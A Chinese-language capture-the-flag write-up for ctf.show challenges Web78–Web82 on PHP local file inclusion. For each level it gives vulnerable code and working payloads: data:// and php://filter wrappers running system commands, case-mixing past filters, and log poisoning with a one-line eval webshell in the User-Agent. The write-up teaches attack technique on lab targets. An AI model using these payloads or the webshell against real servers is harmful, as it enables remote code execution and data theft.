Web78
源代码如下:
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
代码审计:
使用 include() 进行文件包含,通过GET方法 传递参数file 获取被包含的文件。
思路:
利用 data:// 伪协议,执行系统命令,获取flag文件位置并读取文件内容。
EXP:
查看当前目录下的文件:
https://bf370b7e-63c4-4edb-a48c-a6b7dbb8ba55.challenge.ctf.show/
?file=data://text/plain,<?php system("ls");?>
找到flag.php,读取其中内容:
https://bf370b7e-63c4-4edb-a48c-a6b7dbb8ba55.challenge.ctf.show/
?file=data://text/plain,<?php system("tac flag.php");?>
得到flag.
拓展
执行系统命令也可以使用 php://input 伪协议:
读取flag.php文件内容也可以使用 php://filter 伪协议:
https://bf370b7e-63c4-4edb-a48c-a6b7dbb8ba55.challenge.ctf.show/
?file=php://filter/convert.base64-encode/resource=flag.php
将回显内容base64解码即可得到flag.
Web79
源代码如下:
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
代码审计:
include() 包含文件,GET 传参file 表示被包含的文件。
str_replace()函数将参数file中的 php 替换为 ???
思路:
由于str_replace()函数对大小写敏感,所有可以使用 大小写混写 进行绕过。
EXP:
查看当前目录下的文件:
https://01f9aa95-884e-4d4f-8edb-23b0edbc668b.challenge.ctf.show/
?file=data://text/plain,<?Php system("ls");?>
读取flag.php:
https://01f9aa95-884e-4d4f-8edb-23b0edbc668b.challenge.ctf.show/
?file=data://text/plain,<?Php system("tac flag.php");?>
得到flag.
Web80
源代码如下:
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
代码审计:
include() 包含文件,GET 传参file 表示被包含的文件。
str_replace()函数将 参数file中的 php 和 data 替换为 ???
思路:
由于过滤了data,所有不能使用data://伪协议。
因此我们使用同等作用的 php://input 伪协议,且利用 大小写混写 绕过对php的过滤。
EXP:
查看当前目录下的文件:
找到文件fl0g.php,查看内容:
得到flag.
拓展:
使用包含日志文件的方法:
将UA修改为一句话木马
<?php eval($_POST[1]);?>
将POST传参修改为1=system("tac fl0g.php")
即可获得flag.
Web81
源代码如下:
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
代码审计:
include() 包含文件,GET 传参file 表示被包含的文件。
str_replace()函数将 参数file中的 php 和 data 和:替换为 ???
思路:
过滤了 冒号: ,不能使用伪协议实现漏洞利用。因此我们选择包含日志文件。
EXP:
将UA修改为一句话木马
<?php eval($_POST[1]);?>
GET传参nginx下的日志文件的位置,POST传参要执行的代码:
修改POST参数为:1=system('tac fl0g.php');
得到flag.
Web82
源代码为:
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
代码审计:
include() 包含文件,GET 传参file 表示被包含的文件。
str_replace()函数将 参数file中的 php 和 data 和:和. 替换为 ???
思路:
过滤了 点. ,我们不能使用包含日志文件方法。
考虑使用SESSION条件竞争。